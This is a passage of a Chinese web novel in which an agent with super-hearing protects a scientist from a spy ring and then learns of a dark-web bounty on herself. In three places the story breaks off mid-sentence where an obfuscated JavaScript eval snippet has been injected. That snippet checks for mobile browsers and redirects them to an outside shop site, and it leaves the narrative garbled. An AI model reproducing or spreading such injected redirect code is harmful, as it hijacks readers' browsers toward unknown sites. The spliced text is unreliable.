“我正在追踪。”雷昊的声音紧绷,“对方绕过了三层防火墙,正在尝试访问实验数据存储区。妈的,手法很高明。” 杨晓晓屏住呼吸,继续监听。那个高频信号时断时续,像是在试探什么。她忽然想起训练时陈树教过的——某些间谍设备会伪装成环境噪音,但总会留下特征频率。 她闭上眼睛,将听力调整到最敏锐状态。 找到了。 信号源不在实验室内部,而在……窗外? 杨晓晓猛地睁开眼睛,看向监控屏幕。实验室的窗户拉着百叶帘,但缝隙间能看到外面漆黑的夜空。她调出热成像监控——这是林墨昨天悄悄安装在对面楼顶的。 屏幕上,一个微小的热源正悬停在实验室窗外大约五米处。 “无人机!”她脱口而出,“窗外有无人机,在用热成像侦查!” 几乎同时,雷昊那边传来警报:“数据流在加速!他们在尝试下载!” “沈老知道吗?”杨晓晓问。 “应该不知道,他还在写记录。”雷昊敲击键盘的速度更快了,“我在反向追踪,但需要时间。晓晓,你能判断无人机型号吗?” 杨晓晓再次闭眼,将全部注意力集中在窗外的声音。 无人机的旋翼声——四旋翼,电机转速很高,但不是市面常见型号。旋翼切割空气的声音很特殊,带有某种规律的微小杂音…… “旋翼有损伤,或者改装过。”她快速分析,“飞行稳定性一般,操控者距离应该不超过三百米——信号延迟大约零点二秒。” “收到。”雷昊已经开始调取周边三百米范围的监控,“熊毅,你那边能看到什么?” 熊毅的声音从通讯频道传来,沉稳有力:“我在研究院西侧制高点,视野范围二百七十度。没有发现明显可疑人员,但……等等。” 频道里传来轻微的呼吸变化。 “东侧老图书馆楼顶,有反光。可能是镜头或者观察设备。”熊毅说,“需要接近确认吗?” “不要打草惊蛇。”陈树的声音切了进来——他一直在远程指挥,“雷昊继续追踪网络攻击,林墨准备靠近无人机,杨晓晓持续监听实验室内外所有动静,熊毅保持观察。” 指令清晰而冷静。杨晓晓感到心跳加速,但手上动作很稳。她切换监听模式,同时关注几个重点:实验室内的沈老、窗外的无人机、楼顶可能的观察点、以及研究院周边环境。 沈老对此一无所知。他刚写完一页记录,正站起身,活动着僵硬的肩膀。杨晓晓听到他骨骼发出的轻微“咔”声。 她看了眼时间——晚上十一点十分。作为助理,她现在应该已经下班了,但……她想起自己“忘”在实验室的一本笔记。 快速思考后,杨晓晓做出了决定。她离开监听室,快步走向实验楼。进入大楼时,她的心跳很快,但表情保持自然。值班保安看了她一眼,认识这个新来的助理,点点头让她进去了。 走到307实验室门口,她轻轻敲门。 “请进。”沈老的声音从里面传来,带着一丝疲惫。 杨晓晓推门进去,看到沈老正站在窗前,透过百叶帘的缝隙望着外面。 “沈老师,我笔记本忘拿了。”她说,声音尽量保持平稳,走到自己的工位前,假装翻找。 “这么晚还回来?”沈老没有回头。 “明天一早要用里面的数据。”杨晓晓说着,走到窗边,站在沈老身边,“沈老师,您看窗外……那是不是无人机?” 沈老愣了一下,眯起眼睛仔细看。夜空中有个小黑点,悬停在窗外不远处,闪烁着微弱的红灯。 “好像……确实是。”他的声音严肃起来。 “这个时间点,研究院附近不应该有无人机飞行。”杨晓晓说,语气里带着恰如其分的担忧,“而且它离窗户这么近……会不会是在拍照什么的?” 沈老的呼吸节奏变了。杨晓晓听到他心跳加速的声音。 “我去拉上帘子。”老人转身,将百叶帘完全拉紧,然后回到实验台前,开始快速整理桌上的资料——那是他多年的研究手稿。 杨晓晓拿起“找到”的笔记本:“沈老师,需要我帮您叫保安吗?” “不用。”沈老摇头,但动作很急,“我自己处理。你……先回去吧,路上小心。” “好的,沈老师您也早点休息。”杨晓晓抱着笔记本离开实验室。 一出实验室门,她就通过隐藏的通讯器低声汇报:“已提醒沈老注意,他现在在整理资料。无人机还在吗?” “正在上升撤离。”林墨的声音传来,“我看到它了,在往东飞。” 窗外的无人机似乎察觉到了什么,开始缓慢上升。杨晓晓听到旋翼转速的变化。 “无人机要撤。”她立刻汇报。 “林墨,跟上它,但保持距离。”陈树下令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191498|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “收到。”林墨的声音传来,伴随着轻微的风声——他已经在移动。 实验室内的网络攻击还在继续。雷昊那边传来键盘的敲击声几乎连成一片:“我在设陷阱,给他们假数据包……上钩了!现在开始反向追踪IP……” 杨晓晓快速回到监听室,继续监听。她听到了无人机飞远的声音,听到了楼顶那个反光点传来的极轻微动静——有人快速收拾设备,脚步声急促。 还有,在所有这些声音之下,一个被她差点忽略的细节。 研究院围墙外,两条街之外,一辆车发动了引擎。 不是普通的启动,而是那种快速、果断的启动,像是随时准备离开。而且……引擎声很特别,低沉的轰鸣,改装过的排气管。 “陈总监,”她说,“西侧两条街外,有可疑车辆准备接应。引擎声特殊,我记下了声纹特征。” “很好。”陈树的声音里有一丝赞许,“雷昊,调取那附近的监控。熊毅,能否看到车辆?” “视野被遮挡,但可以尝试换位置。”熊毅说。 “不要暴露。”陈树说,“今晚的目标是摸清对方底细,不是抓捕。” 接下来的二十分钟,是一场无声的较量。 林墨远远跟踪无人机,最终看到它降落在老城区一处废弃工厂内——但他没有靠近,只在远处观察。 雷昊成功反向追踪到攻击者的跳板服务器,发现路径经过三个国家,最终源头指向某个境外IP。 那辆可疑车辆在西侧街道绕了两圈,最后停在了一个24小时便利店门口。司机下车买了包烟,又回到车上——整个过程很自然,但杨晓晓听到他上车后立刻打了个电话,内容简短:“撤了,被发现了。” 凌晨一点,所有异常活动停止。 沈老离开实验室,锁门回家。杨晓晓通过监听听到他离开时格外仔细地检查了门窗,还在实验室门口站了好一会儿,才慢慢走远。熊毅远远跟着,确保他安全抵达住所。 临时监听室里,杨晓晓摘下耳机,长长呼出一口气。她这才发现自己的手心全是汗。 “今晚的表现,”陈树的声音从通讯器传来,平静中带着肯定,“每个人都做到了该做的。特别是杨晓晓,及时且自然地提醒了沈老,没有引起怀疑。” 雷昊在那边伸了个懒腰:“对方比想象中专业。无人机是定制型号,网络攻击用了至少七层跳板。这不是普通商业间谍,更像是有国家背景的专业团队。” “但我们已经拿到了关键信息。”林墨的声音插进来,“无人机降落点、车辆特征、攻击者手法——足够我们制定下一步计划。” 杨晓晓揉了揉发胀的太阳穴:“沈老会不会因此怀疑我?我那么晚突然回去……” “你的理由很合理。”陈树说,“而且你是以助理身份关心老师安全,不会引起怀疑。不过接下来几天,你要更自然地观察沈老的反应。如果他确实加强了警惕,说明我们的提醒起了作用,但又没暴露你的真实身份。” “明白。”杨晓晓说。 关闭设备,走出监听室,夜空中的星星比来时更多了。杨晓晓站在研究院门口,看着307实验室那扇漆黑的窗户。 七天前,她只知道要保护一位老科学家。 现在她明白了,她要保护的,是那双为了零点三秒的证据追逐了半个世纪的眼睛,是那双手在危险面前毫不犹豫处理废液的决断,是那个说“科学容不得马虎”的严肃声音。 也是某种更重要的东西——一个国家在前沿科学上不被卡脖子的可能性。 夜风吹过,带着初夏草木生长的气息。 杨晓晓握了握拳,朝宿舍走去。 威胁已经浮现,但守护者也在准备。 明天,她依然是那个偶尔会忘东西、学习认真但有时笨拙的助理。 只是这一次,她会更加警惕。 因为真正的较量,才刚刚开始。 59. 技术保护战 威胁事件发生后的第三天,特保局作战分析室。 周局长站在白板前,墙上挂满了这几天收集到的信息:无人机照片、车辆轨迹图、网络攻击路径分析,还有一张模糊的嫌疑人身形侧写。杨晓晓的目光落在那个声纹特征图谱上——那是她监听到的可疑车辆引擎声的波形分析,像一道独特的指纹。 “情况已经明确。”周局长的声音将所有人的注意力拉回,“对方是一个有境外背景的商业间谍小组,目标就是沈老的K-7研究数据。他们的手段包括网络攻击、物理侦查,以及——”他指了指威胁信的照片,“心理施压。” 陈树接过话:“根据晓晓监听到的信息和雷昊的技术分析,对方至少有四人:一个网络攻击手,一个无人机操作员,一个地面观察员,还有一个指挥官兼司机。” “他们的行动模式很专业,”林墨补充道,手指在地图上划过几个关键位置,“每次行动时间短,撤退路线预先规划,通信使用加密频道。如果不是晓晓提前发现了无人机,我们可能要到数据被盗才会察觉。” 房间里静了一瞬。杨晓晓感觉到几道目光落在自己身上,她有些不自在地动了动,没有抬头。 “接下来,我们要主动出击。”周局长走到白板前,写下三个标题,“行动计划分为三步。” 他的笔迹刚劲有力: “第一步,技术反制。雷昊负责搭建‘蜜罐’系统,用精心设计的假数据引诱对方深入,同时在假数据中植入追踪程序。” “第二步,物理布控。林墨、熊毅,你们在研究院周边设立隐蔽观察点。下次对方出现时,我要知道他们每个人的实时位置和行动路线。” “第三步,”周局长的笔停在白板上,目光转向杨晓晓,“你需要继续以助理身份保护沈老,同时,在确保安全的前提下,协助我们完成收网。” 杨晓晓坐直身体:“我需要做什么?” 陈树递过来一个小巧的装置,银灰色,约拇指大小,看起来像个精致的U盘。“这是雷昊改装的声波发射器。”陈树解释,“当对方再次使用无人机或其它侦查设备时,你找机会靠近窗户,按下按钮——它会发射特定频率的声波,干扰对方的设备,同时为我们标记位置。” 杨晓晓接过装置,入手微凉,表面有细密的防滑纹路。“这个……会对沈老有影响吗?” “频率超出人耳接收范围,安全。”雷昊从三台电脑屏幕后抬起头,眼睛下面挂着两个黑眼圈,“但有些动物能听到,所以使用前最好确认附近没猫狗——不过研究院里应该没有。哦对了,按下去后保持三秒,指示灯变绿表示发射成功。” 计划确定后,接下来两天是紧张的准备工作。 雷昊几乎住在了技术室。杨晓晓有天深夜路过,透过玻璃门看到他面对六块屏幕,手指在三个键盘间飞舞,嘴里还咬着半块能量棒。屏幕上滚动的代码像瀑布一样流淌,他搭建的“数据陷阱”正在成型——一套看起来像完整K-7研究数据的假文件系统,里面埋藏了无数追踪代码和反向入侵程序。 “只要他们敢下载,”雷昊在通讯频道里说,声音因为熬夜有些沙哑,“就会像踩进蜘蛛网的虫子,每一根丝都会暴露他们的位置。” 林墨和熊毅的工作更加隐蔽。杨晓晓通过监听知道,两人在研究院周边布下了天罗地网:七个伪装成市政设施或绿植的监控点,覆盖所有可能接近的路线;四个快速反应位置,确保能在三分钟内到达任何地点。他们甚至摸清了研究院地下管网的布局,作为紧急撤离通道。 而杨晓晓,继续她的双重生活。 白天在实验室,她比以前更注意观察窗外动静,耳朵时刻保持警觉。清洗仪器时,她会刻意站在能看到窗户的角度;整理资料时,她选择靠窗的位置;甚至连给沈老泡茶,她都会多看一眼窗外的天空。 沈老似乎察觉到了什么。有次杨晓晓在记录数据时,老人突然问:“小杨,你最近老看窗外,外面有什么吗?” 杨晓晓心里一惊,笔尖在纸上戳了个小洞。她抬起头,努力保持镇定:“没有,就是眼睛有点干,看会儿远处放松一下。” 沈老盯着她看了几秒,镜片后的眼睛锐利如常。然后他点点头,没再追问,转身继续调整显微镜的焦距。但那天下午,杨晓晓注意到老人检查窗户锁的次数比平时多了三次,而且在离开实验室前,他会格外仔细地确认电脑是否关机、资料是否收好。 任务第九天晚上,对方再次行动。 这次来得更隐蔽。晚上十点,杨晓晓在监听室值班时,首先发现的不是无人机,而是研究院内部网络的一次异常登录。 “有人用管理员权限进入了系统。”雷昊的声音从通讯频道传来,带着压抑的兴奋,“他们在找数据存储路径……很好,正在朝‘蜜罐’方向移动……他们在复制目录结构……” 杨晓晓立刻将注意力转向307实验室。沈老今晚不在——他被研究院院长以“讨论下阶段经费申请”为由,暂时请到了行政楼。这是周局长的安排,为了确保抓捕行动时沈老的安全,也为了避免老人卷入冲突。 实验室空无一人,但几台关键仪器仍在低功耗运行——这是为了保持常态,避免引起怀疑。 晚上十点二十,窗外的声音来了。 不是无人机。杨晓晓凝神倾听,分辨出那是一种极细微的机械运转声,伴随着几乎听不见的抓挠声。她闭眼专注,在夜风的背景音中,捕捉到了那个声音的轨迹——一个微型爬行机器人,带有摄像探头,正沿着外墙砖缝向上移动。 “发现机械蜘蛛,”她低声汇报,“体积很小,正在从二楼攀爬到三楼,目标应该是实验室窗户。” “收到。”陈树的声音冷静,“让它进去。雷昊,准备好了吗?” “陷阱已经激活,就等他们上钩。”雷昊那边传来键盘敲击声,“假数据包正在生成,追踪程序已就绪。” 微型机器人顺利从窗户的微小缝隙钻入实验室。杨晓晓通过隐藏摄像头看到,它像真正的蜘蛛一样在实验台上移动,八条机械腿的动作精准而协调。探头四处扫描,红色的感应灯在黑暗中闪烁,最后停在了沈老常使用的电脑前。 机器人的腹部打开,伸出一个细小的USB接口,精准地插入了电脑的扩展接口。 “开始下载了!”雷昊的声音里带着猎人看到猎物踏入陷阱的兴奋,“数据流很大,他们在拷贝整个‘蜜罐’……追踪程序正在激活……锁定第一个IP地址……跳转到第二个……第三个……” 时间一分一秒过去。杨晓晓屏住呼吸,耳朵捕捉着每一个声音:机器人内部电机细微的运转声,电脑硬盘读取数据的咔哒声,还有—— 窗外,两条街外,那辆改装车的引擎再次启动。这次引擎声更加急促,像是随时准备冲刺。 “接应车辆出现了。”她说。 “林墨,熊毅,准备行动。”陈树下令。 微型机器人完成下载,拔出USB接口,开始原路返回。就在它即将爬出窗户时—— “就是现在!”雷昊喊道。 实验室内的电脑突然发出一声尖锐的警报音——这是“蜜罐”被触发后的伪装反应,听起来像是系统检测到非法访问后的自动报警。同时,雷昊远程启动了研究院的安保警报系统,整栋楼的警铃大作,红色的警示灯开始旋转闪烁。 微型机器人明显慌乱了一下,动作出现短暂的停滞,然后加速向窗外爬去,机械腿的动作变得急促而不协调。 “晓晓,声波标记!”陈树下令。 杨晓晓早已准备好。她从口袋中掏出那个银灰色的装置,拇指按在中央的按钮上,对准窗户方向,按下——没有声音,但她感觉到一阵轻微的振动从装置内部传来,指尖能感受到微弱的脉冲。 窗外,正在下降的微型机器人突然失控,像喝醉了一样在空中旋转、抖动,然后直直坠落。但它没有摔在地上,而是被一张几乎看不见的透明纤维网接住了——那是林墨提前在楼下隐蔽处布置的。 “目标A捕获!”林墨的声音传来,“机器人完好,正在回收。” 几乎同时,两条街外传来汽车急加速的声音,轮胎摩擦地面发出刺耳的尖啸。 “他们要跑!”杨晓晓喊道。 “跑不了。”熊毅的声音沉稳如常。通讯频道里传来一连串干净利落的声响:车辆急刹、车门被猛地拉开、简短而有力的指令声:“下车!手举起来!” 然后是短暂的挣扎声、身体被压制在车身上的闷响、手铐合拢时清脆的“咔哒”声。 整个过程不到三分钟。 当一切尘埃落定时,杨晓晓还坐在监听室里,耳朵里回荡着刚才的各种声音碎片。她的心跳很快,掌心微微出汗,手指还保持着握紧那个声波发射器的姿势——不是恐惧,是肾上腺素还未消退的兴奋,混杂着任务完成后的虚脱感。 通讯频道里陆续传来汇报: “抓获地面接应人员两名,缴获通信设备三套,笔记本电脑一台。” “网络攻击源头已锁定,境外服务器正在被反向入侵取证,数据流已截获。” “微型机器人完好,已送技术分析。初步判断为定制型号,带有高清摄像和红外扫描功能。” 陈树的声音最后响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那天的工作一切如常。沈老继续他的晶体生长实验,杨晓晓继续清洗仪器、记录数据、整理样品。但有些细微的东西不一样了——沈老泡茶时,多泡了一杯,推到杨晓晓那边;讲解一个复杂的样品制备步骤时,他特意放慢语速,多解释了两句原理;甚至在她不小心打碎一个烧杯时,也没像往常那样皱眉,只是说了句“下次小心,玻璃碎片要清理干净”。 中午休息时,杨晓晓收到了陈树发来的加密消息:“威胁已解除,对方四人全部落网。保护任务继续,直至沈老完成当前阶段研究。你做得很好。” 她收起手机,看向正在小憩的沈老。老人靠在椅背上闭目养神,午后的阳光透过百叶窗在他脸上投下斑驳的光影。他的呼吸平稳,手里还握着一支笔——即使在休息时,也随时准备记录突然冒出的想法。 窗外阳光很好,照在实验台的玻璃器皿上,折射出细碎的光斑。那些烧杯、量筒、培养皿整齐排列,像等待检阅的士兵。 杨晓晓忽然想起,今天是她成为特保局正式成员的第七十七天。 七十七天前,她还是那个在电梯事故后惊慌失措、被各种声音折磨到失眠的普通女孩。 现在,她刚刚参与完成了一次成功的技术保护战,保护了一位重要的科学家,保护了一项可能改变许多行业的关键材料研究。 “小杨,”沈老突然睁开眼睛叫她,“过来看看这个。” 杨晓晓走过去。显微镜下,是一片奇异的晶体结构,在透射光下呈现出复杂的几何图案,边缘泛着微弱的蓝色荧光。 “这就是K-7材料的雏形。”沈老的声音里有种压抑的激动,那是科学家看到预期结果出现时的纯粹喜悦,“虽然还不稳定,晶体缺陷还很多,但基本结构已经出来了。” 杨晓晓看着那片微光,忽然理解了沈老那天说的“为了零点三秒的证据,三十年都值”是什么意思。有些发现,值得用很长时间去等待,用很大力气去保护;有些东西虽然微小,却可能在未来撬动巨大的改变。 “很漂亮。”她轻声说。 沈老笑了,笑容里有种孩子般的纯粹:“是啊,很漂亮。科学的美,有时候就在于这种简单结构里蕴含的无限可能。” 那天晚上,杨晓晓在任务日志里写道: “第七十七天。今天看到了一片会发光的晶体结构。沈老说它还不稳定,但已经在努力生长。就像我们一样——还不完美,但已经在努力保护那些值得保护的东西。 任务还没结束,但今天是个好日子。 问题不大,明天继续。” 合上日志,她关掉台灯。 窗外,江城的夜晚安宁如常,车流如织,灯火阑珊。而在某个安静的实验室里,一片微小的晶体正在恒温箱中静静生长,分子在有序排列,结构在逐渐完善,散发着肉眼几乎看不见的蓝色荧光。 守护它的人,也在每一次任务中悄悄成长,变得更加沉稳,更加坚定。 明天,太阳照常升起。 而他们,照常守护。 60. 线索指向“暗网” 周三下午三点,特保局审讯室外走廊。 杨晓晓端着一杯刚接的热水,靠在墙上等陈树出来。她已经在这里站了十五分钟,能隐约听到审讯室里传来的对话声——不是刻意偷听,是能力觉醒后的被动接收。 “……‘影子市场’……只在午夜开放……” “……悬赏金额分三档……最高五百万美金……” “……他们要的是‘活体样本’,不要尸体……” 杨晓晓的手指收紧,纸杯被捏得微微变形,热水溅出来烫到了手背。她深吸一口气,调整呼吸,让自己冷静下来。 审讯室的门开了。 陈树走出来,脸上没什么表情,但杨晓晓注意到他眉头中间有一道很浅的纹路——这是他极度专注或担忧时的微表情。 “陈队,”她迎上去,“审讯有进展吗?” 陈树看了她一眼,接过她递来的另一杯水——她来时多接了一杯。“有。去会议室说,马上开会。” 五分钟后,三号会议室坐满了人。除了杨晓晓小队四人,还有技术分析组、情报组、行动组的负责人。投影屏幕上打出一行字:“‘影子市场’初步调查简报”。 周局长没来,但陈树主持会议时,所有人都正襟危坐。 “首先通报审讯结果。”陈树按下遥控器,屏幕切换到几张整理过的笔录照片,“被捕的四人中,司机兼指挥官交代,他们接到的指令来自一个名为‘影子市场’的暗网平台。” 他又按了一下,屏幕上出现几张打印出来的聊天记录截图——文字是英文,但做了中文标注: 【买家】:需要K-7材料完整研究数据,预算80万美金。 【中介】:可安排专业团队,预付30%,成功后付清。 【买家】:附加要求:获取沈国华实验手稿原件。 【中介】:难度增加,费用上浮20%。 会议室里一片安静,只有空调运转的低鸣。 “这还不是最关键的。”陈树的声音更沉了些,切换下一张截图。 这张截图来自另一个页面,标题是“特殊能力者交易区”。文字很少,但每一条都让人脊背发凉: 【悬赏】:求购听力强化能力者,要求有效监听范围3公里以上,能分辨0.1分贝差异。价格面议。 【出售】:火焰操控初级能力者,男性,23岁,可现场演示。起拍价200万美金。 【求购】:精神干扰类能力者,用于商业谈判场合。需提供能力证明视频。 杨晓晓感到胃部一阵紧缩。她的视线死死盯在第一行字上:“听力强化能力者……范围3公里以上……分辨0.1分贝差异。” 这几乎就是她的能力参数。 雷昊低声骂了句什么。熊毅放在桌上的手捏成了拳。林墨的脸色白了白。 陈树继续往下翻。下一张截图是一份更详细的“商品描述”: 【商品类型】:听力强化能力者(女性) 【年龄推测】:25岁左右 【能力觉醒时间】:推测在3-6个月内 【已知特征】:能穿透常规隔音材料监听,具备多目标追踪能力 【最后出现区域】:江城及周边 【悬赏金额】:500万美金(活体交付) 会议室里的空气仿佛凝固了。 杨晓晓感觉到所有人的目光都落在了自己身上。女性,25岁,能力觉醒不到半年,听力强化,江城区域——这已经不是“高度吻合”,简直就是在报她的身份证号。 “根据技术组分析,”陈树的声音打破了死寂,“这份悬赏发布于两周前,也就是我们处理完便利店劫持案之后。发布者ID为‘猎手07’,经过七层加密,雷昊正在尝试反向追踪。” 雷昊站起来,走到前面接过遥控器:“我给大家看看这个‘影子市场’的架构。” 屏幕上出现一个复杂的网络拓扑图。 “‘影子市场’不是普通的暗网论坛,它是一个高度组织化的交易平台。”雷昊的语速很快,但清晰,“采用区块链技术记录交易,多重加密通信,服务器分布在全球十七个国家,每七十二小时自动迁移一次。要追踪到源头,难度相当于在太平洋里找一根特定颜色的针。” 他放大其中一个节点:“更麻烦的是,这个平台有严格的会员制。普通用户只能浏览公开版块,要进入‘特殊能力者交易区’,需要至少完成三笔A级以上交易,或者有内部成员邀请。” “A级交易指什么?”情报组负责人问。 “军火、毒品、国家级机密数据。”雷昊面无表情地说,“也就是说,能进入那个版块的人,都是真正的犯罪精英。” 会议室里响起低低的议论声。 杨晓晓坐在椅子上,感觉手脚冰凉。五百美金?活体交付?她想起审讯时听到的那句“他们要的是活体样本”,胃部又是一阵翻涌。 “安静。”陈树敲了敲桌子,“现在宣布专案组决定。” 所有人都静下来。 “第一,成立‘影子市场’专项调查组,我任组长,雷昊任技术负责人,情报组、行动组各抽调三人参与。” “第二,杨晓晓的保护级别提升至最高级。即日起,外出必须两人以上陪同,住所增加安防措施,通讯设备全天候监控。” “第三,”陈树的目光落在杨晓晓身上,语气严肃但不失温和,“你需要接受一次全面的能力参数测试,我们要掌握你能力的准确边界,才能制定有效的防护方案。” 杨晓晓点点头,想说“问题不大”,但话到嘴边又咽了回去。这次的情况,好像真的有点“大”。 会议结束后,陈树让杨晓晓留下。 等其他人都离开,会议室里只剩下他们两人时,陈树拉开她旁边的椅子坐下。 “害怕吗?”他直接问。 杨晓晓诚实点头:“有点。” “正常。”陈树说,“我第一次知道自己被挂在暗网悬赏时,三天没睡好。” 杨晓晓惊讶地抬头:“陈队你……” “五年前的事。”陈树语气平淡,“那时候我刚带队捣毁一个跨国走私团伙,他们在‘影子市场’的前身平台上悬赏我的命,开价三百万。后来那个平台被我们端了,没想到现在又死灰复燃,还升级了。” 他顿了顿:“但你看,我现在还坐在这里跟你说话。” 杨晓晓看着他平静的脸,心里的恐慌稍微褪去了一些:“他们……最后抓到了吗?” “主犯抓到了,判了无期。但从犯还有漏网的。”陈树说,“这就是为什么我们需要成立专案组。这种平台不彻底摧毁,就会不断有毒蛇从里面爬出来。” 窗外传来训练场上的口号声,隐约而模糊,但杨晓晓能听清每一个字。她的能力,此刻成了某种讽刺——她能听到远处的声音,却听不到潜藏在网络深处的威胁。 “陈队,”她小声问,“那个悬赏里说‘活体交付’……他们要活的能力者做什么?” 陈树沉默了几秒:“根据我们过去的案例,主要有三种可能:一是用于犯罪活动,比如监听、潜入、勒索;二是研究,想破解能力产生的机制;三是……某些有钱人的变态收藏。” 最后一种可能让杨晓晓打了个寒颤。 “但无论哪种,”陈树的声音坚定起来,“我们都不会让它发生。从今天起,你不只是特保局的队员,更是我们需要重点保护的对象。明白吗?” “明白。”杨晓晓坐直身体。 “好。”陈树站起来,“现在去找雷昊,做能力参数测试。我要知道,如果真有人来‘取货’,他们可能会用什么手段,而你又该如何防范。” --- 技术测试室在基地地下三层。 杨晓晓推门进去时,雷昊已经在调试设备了。房间里摆满了各种仪器,墙壁和天花板覆盖着奇特的吸音材料,看起来像个科幻电影里的实验室。 “来来,晓晓同志,躺这儿。”雷昊拍了拍房间中央的一张类似牙科治疗椅的设备,语气试图轻松,但杨晓晓听出他声音里的紧绷。 她躺上去。椅子很舒服,但头顶那些密密麻麻的传感器让她有点紧张。 “放松,只是测试。”雷昊一边调整设备一边说,“我们先测基础参数:最大监听范围、最小可分辨声压差、多目标处理上限……” 测试进行了两个小时。 过程其实不难受,就是反复听各种声音——从低频的次声波到高频的超声波,从单一音调到复杂的交响乐片段,从安静环境到模拟的嘈杂街道。杨晓晓只需要集中注意力,告诉雷昊她听到了什么,没听到什么,或者听到了但分辨不清。 结束时,雷昊盯着电脑屏幕上的数据,吹了声口哨。 “好家伙,晓晓,你这参数……”他转头看她,眼神复杂,“监听范围最大3.8公里,在理想条件下。能分辨0.05分贝的声压差,比悬赏里写的0.1还高出一倍。多目标追踪……同时处理八个独立声源时,准确率还有92%。” 杨晓晓坐起来,揉了揉太阳穴——高强度使用能力后,她有点头疼。“这……是好还是不好?” “对你个人是好,说明你能力强。”雷昊的表情严肃起来,“但对安全来说,这意味着你是个非常有价值的‘目标’。悬赏里的描述甚至低估了你。” 他调出另一份数据:“更麻烦的是这个——你的能力有独特的‘声纹特征’。就像每个人的指纹不同,每个听力能力者接收和处理声音时,大脑产生的神经电信号也有细微差异。我刚刚测到了你的特征波形。” 屏幕上出现一道复杂的波形图。 “如果有人用高灵敏度的设备在附近扫描,理论上可以探测到这种特征。”雷昊说,“当然,这需要很专业的设备,而且要在比较近的距离内。但……既然暗网上有人悬赏,就说明可能有这样的设备流出了。” 杨晓晓感到一阵寒意:“那怎么办?” “所以我们得给你做‘信号屏蔽’。”雷昊从柜子里拿出一个看起来像普通运动手环的东西,“戴在手上,它会发射一种干扰信号,掩盖你的神经电特征。另外,你的耳机也要升级,增加反探测功能。” 他帮杨晓晓戴上手环,又拿出一副新的耳机——外观和之前那副差不多,但更轻。 “这些设备会二十四小时运行,电池续航一周,记得按时充电。”雷昊难得没有开玩笑,语气认真,“另外,从今天起,你尽量不要单独行动。大熊和墨墨会轮流陪你,我也会尽量跟着——至少在弄清楚‘猎手07’是谁之前。” 杨晓晓握着手腕上的手环,金属质感微凉。“雷哥,你说……发布悬赏的人,会不会是我认识的人?” 雷昊愣了一下:“为什么这么想?” “因为描述太准确了。”杨晓晓低声说,“‘能力觉醒3-6个月’——我觉醒能力是三个月前。‘江城区域’——我确实在江城。如果不是近距离观察过我的人,怎么会知道这些细节?” 房间里安静下来。仪器运转的微弱嗡鸣声此刻显得格外清晰。 “你有怀疑对象吗?”雷昊问。 杨晓晓摇头:“想不到。知道我有能力的人不多,除了局里的同事,就是……” 她顿住了。除了特保局的人,还有谁知道?深蓝科技的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191500|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同事只知道她“耳朵灵”,不知道具体能力。家人更不知道。那么…… “沈老?”雷昊脱口而出。 “不可能。”杨晓晓立刻否定,“沈老完全不知道我的真实身份,而且他是个纯粹的科学家,不会跟暗网扯上关系。” “也是。”雷昊挠挠头,“那就是……我们内部有问题?” 这个可能性让两人都沉默了。 “先别瞎猜。”雷昊最终说,“我会从悬赏帖的技术细节入手,看看能不能找到发布者的蛛丝马迹。你这边,先保护好自己。” 杨晓晓点点头。她看着手腕上的屏蔽手环,忽然想起陈树刚才说的话——“我现在还坐在这里跟你说话”。 是的,她也不是一个人。她有队友,有组织,有整个特保局作为后盾。 “问题不大。”她轻声说,这次是说给自己听的。 --- 晚上七点,特保局食堂。 杨晓晓端着餐盘找位置时,看到熊毅和林墨已经坐在角落的桌子旁,对面还空着一个位置——明显是留给她的。 她走过去坐下。熊毅推过来一小碗切好的水果——是食堂今天提供的餐后水果,但他把自己那份给了她。 “谢谢熊哥。” “多吃水果,补充维生素。”熊毅简短地说,继续吃自己的饭。 林墨小声问:“晓晓,测试做完了?雷昊说你要戴新的设备……” “嗯,手环和耳机。”杨晓晓展示了一下,“说是能屏蔽信号,防止被探测到。” “那就好。”林墨松了口气,“陈队安排了轮班,我和熊毅会轮流在你附近。如果你要出门,至少要有一个人跟着。” 杨晓晓心里一暖,但同时又有些过意不去:“这样会不会太麻烦你们?你们也有自己的任务……” “保护队友就是任务。”熊毅说,语气不容置疑。 “而且不是只有我们。”林墨补充,“陈队调整了整个小队的任务安排,接下来一段时间,我们以‘影子市场’调查为主,保护你也是调查的一部分。” 杨晓晓吃着饭,听着两人平静的对话,心里的恐慌感又消散了一些。是的,她不是猎物,她是猎人——虽然现在有别的猎人在盯着她,但她身边有更多猎人同伴。 “对了,”林墨想起什么,“雷昊说他今晚要通宵分析数据,让我们给他带点夜宵。” 熊毅点头:“食堂十点有宵夜供应,我到时候给他带。” “我也帮忙。”杨晓晓说。 三人安静地吃饭。食堂里人来人往,交谈声、餐具碰撞声、电视新闻声混杂在一起。杨晓晓听着这些熟悉的声音,忽然觉得它们不再只是噪音,而是某种“正常”的证明——证明这里还安全,证明生活还在继续。 快吃完时,陈树端着餐盘走了过来。 “陈队。”三人同时打招呼。 陈树在他们旁边坐下,看了眼杨晓晓的手环:“设备戴上了?” “戴了。” 